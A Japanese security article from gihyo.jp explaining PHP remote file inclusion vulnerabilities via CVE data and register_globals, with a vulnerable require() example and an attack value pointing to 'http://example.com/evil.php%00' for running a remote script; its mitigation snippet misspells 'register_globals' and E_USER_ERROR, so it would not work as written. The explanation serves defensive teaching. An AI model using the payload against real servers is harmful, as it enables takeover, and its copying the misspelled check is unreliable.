アンケートご協力のお願いgihyo.jpでは,2010年度に向けて豪華プレゼントが当たる読者属性アンケートを実施しております。ご協力ください。

gihyo.jp » DEVELOPER STAGE » 連載 » なぜPHPアプリにセキュリティホールが多いのか? » 第1回 CVEでみるPHPアプリケーションセキュリティ

なぜPHPアプリにセキュリティホールが多いのか?

第1回 CVEでみるPHPアプリケーションセキュリティ

PHPアプリケーションの脆弱性は本当に多いのか?

アプリケーションの脆弱性を調べるには,CVEを参照するのが簡単です。
CVEとは,NISTが公開しているソフトウェアの脆弱性データベースです。脆弱性を一意に特定できるIDを付与することを目的としています。Webアプリケーションの脆弱性もCVEに登録されています。CVEに2006/12/31に登録されたアプリケーションの脆弱性の数(同じアプリケーションは除く)は次の通りでした。日によって登録される脆弱性の数は異なります。12月31日は比較的多くの脆弱性が登録されました。

脆弱性のあるアプリケーションの数

通常どおりPHPアプリケーションの脆弱性が目立ちます。特にこの日は同じアプリケーションで複数の脆弱性が登録されていたものがいくつかありました。
同じアプリケーションだけでなく,同じカテゴリの複数のアプリケーションに同じような脆弱性が見つかっている例もあります。 例えば「The Address Book」には8つのエントリが作成されています。多くのPHPアプリケーションの脆弱性が報告されているため,PHPアプリケーションの脆弱性が非常に目立つ形になっています。

PHPアプリケーションでの特徴的な脆弱性

これらのPHPアプリケーションの脆弱性の中でも注目すべき脆弱性があります。「リモートファイルインクルード脆弱性」は多数のエントリが昨年後半くらいから登録されるようになった脆弱性です。

PHPのうちリモートファイルインクルード脆弱性

「リモートファイルインクルード脆弱性」はinclude/require文でユーザ入力を未検証のまま使用すると発生する脆弱性です。

require($_GET['base_dir'].'/file_to_include.php');

等のコードがあると,$_GET['base_dir']に「http://example.com/evil.php%00」等を設定することで任意のリモートスクリプトを実行できます。Webサーバ上で任意のスクリプトが実行できてしまうため,サーバの乗っ取りが可能となります。

この脆弱性だけで,例えば以下のようなことが実行可能です。

  • データの漏洩(SQLデータデータベースのデータをすべて盗まれる,ファイルを盗まれれる等)
  • データの改ざん(不正アカウントの作成,ページの改ざん等)
  • 不正サーバの実行(HTTPプロキシ,IRCプロキシ等)
  • ほかのサイトへの攻撃

「リモートファイルインクルード脆弱性」が攻撃可能な場合,ありとあらゆる問題が発生する非常に深刻なセキュリティ上の問題です。

register_globalsの罠

12月31日にも8件のリモートファイルインクルード脆弱性が登録されていますが,これらはすべてPHPの設定でregister_globalsが有効に設定されていないと攻撃できない脆弱性です。register_globalsは危険な設定であるため,PHP4.2から互換性を犠牲にしてもデフォルトで無効な状態になるように変更されました。PHP6ではregister_globals設定自体がなくなります。にも関わらずregister_globals=onの状態でしか攻撃できない問題が登録され,PHPアプリケーションの脆弱性の数をかさ上げしている形になっています。

これは,ホスティング会社やサーバ管理者によっては,register_globals=onではセキュリティ上の問題があるにも関わらず,互換性のためにregister_globals=onに設定しているWebサーバが比較的多くあるからです。PHPで作られた有名なECアプリのOSCommerceはregister_globals=onが必要なアプリケーションの代表例です。
OSCommerce自体はregsiter_globals=onでも問題なく動作するように作られているのですが,最近作られたPHPアプリケーションはregister_globalsは無効であることを前提に作成されています。このため,register_globalsが有効なサーバでこれらのアプリケーションを実行すると問題が発生する場合があります。

例えばアプリケーション中に

require($base_dir.'/file_to_include.php');

のようなコードがあると

require($_GET['base_dir'].'/file_to_include.php');

と記述しているのと同じなってしまう場合があります。

対策

このような脆弱性の場合,これはPHPアプリケーションの脆弱性なのかサーバ設定の脆弱性なのか異論のある問題といえます。

PHPアプリケーションを公開する場合,regsiter_globals=offを前提にコーディングしたコードを公開しても構わないですが,必ず以下のようなコードが最初に実行されるようにしてから公開したほうがよいでしょう。不本意にCVEに登録されてしまうことを防ぐことができます。

if (ini_get('resiger_globals')) {
   trigger_error('このアプリケーションはregister_globals=onでは動作しません', E_UESR_ERROR);
   exit; // 確実に実行を終了する
}

著者プロフィール

大垣靖男(おおがきやすお)

University of Denver卒。同校にてコンピュータサイエンスとビジネスを学ぶ。株式会社シーエーシーを経て,エレクトロニック・サービス・イニシアチブ有限会社を設立。
オープンソース製品は比較的古くから利用し,Linuxは0.9xのころから利用している。オープンソースシステム開発への参加はエレクトロニック・サービス・イニシアチブ設立後から。PHPプロジェクトでは,PostgreSQLモジュールのメンテナンスを担当している。

URLhttp://blog.ohgaki.net/

著書

  • Webアプリセキュリティ対策入門〜あなたのサイトは大丈夫?

    Webアプリセキュリティ対策入門〜あなたのサイトは大丈夫?

  • [改訂版]PHPポケットリファレンス

    [改訂版]PHPポケットリファレンス

コメント

コメントの記入

パスサポ

多数の情報処理技術者試験対策書籍の発行実績を誇る技術評論社がお届けする,資格試験合格サイト「めざせ! 情報処理試験 パスサポ」が開設されました。

ピックアップ

サクセスストーリーに続く,快適サーバー運用管理のヒント!

データの増大,煩雑な管理,システムダウン,セキュリティなど,迫りくる課題からシステム管理者の負担を軽くするポイントを解説します。

gihyo.jp インフラエンジニア情報局

ネットワークやITにかかわるあらゆる業種で必要とされるインフラエンジニアに向けた技術情報や心構え,その魅力について多角的に紹介。

テストエンジニア ステーション

いま,ITに関わるあらゆる開発業務で注目されつつあるテスト系エンジニアをターゲットにしたコンテンツサイトを展開します。

一行クイックアンケート

gihyo.jpで取り上げてほしいネタは?

※検索はページ右上の検索ボックスをご利用ください。

その他の連載

Ubuntu Weekly Recipe

Ubuntuの強力なデスクトップ機能を活用するための,いろいろなレシピをお届けします。

C/C++プログラマのためのDTrace入門

よくカーネルのチューニングや解析で活用されるDTraceですが,実はユーザプログラムの開発においても非常に有用です。連載ではC/C++プログラマやテストに関わる方向けにDTraceの使い方を解説します。

Blogopolisから学ぶ計算幾何

計算幾何学は,図形に関するアルゴリズムを研究するコンピュータサイエンスの一分野です。本連載では,ビジュアルブログ検索エンジン「Blogopolis」で採用されている計算幾何のアプローチを例に取り上げながら,計算幾何の初歩を実践的に学習します。

検索エンジンはいかにして動くのか?

本連載では, 今や誰もが利用している検索エンジンの中身を,全体の仕組みやデータ構造,アルゴリズムから分散インデックスまで,最近の研究事例も交えて紹介します。

サイエンスに片思い

本連載では,サイエンスという学問を軸に,そこから広がる可能性やつながり,そしてWebの世界との関係について,前田邦宏氏がさまざまな取材を元に考察し,これからの可能性について展望します。

使ってみよう! Windows Live SDK/API

Windows Liveサービスの一部にはAPIやSDKとして提供されているものがあります。本連載では各API・SDKの紹介とそれらを利用したアプリケーションを開発していきます。

Lifelog~毎日保存したログから見えてくる個性

コンピュータを使って,日常のさまざまなことの記録(ログ)をとり,それを分析して活用することで,もう一段階上の「楽な生活」をめざす日々の研究報告です。

もっと便利に!jQueryでラクラクサイト制作(実践サンプル付き)

本連載では,実践サンプルとともに,jQueryを上手に活用してサイト制作の品質向上・効率化を実現するための実践テクニックを解説します。

連載一覧

gihyo.jp

  • DEVELOPER STAGE
  • ADMINISTRATOR STAGE
  • WEB+DESIGN STAGE
  • LIFESTYLE STAGE
  • SCIENCE STAGE
  • NEWS & REPORT

書籍案内

  • 新刊書籍
  • 書籍ジャンル一覧
  • 書籍シリーズ一覧
  • 新刊ピックアップ
  • ロングセラー
  • 電脳会議

定期刊行物一覧

  • Software Design
  • WEB+DB PRESS
  • Web Site Expert
  • 組込みプレス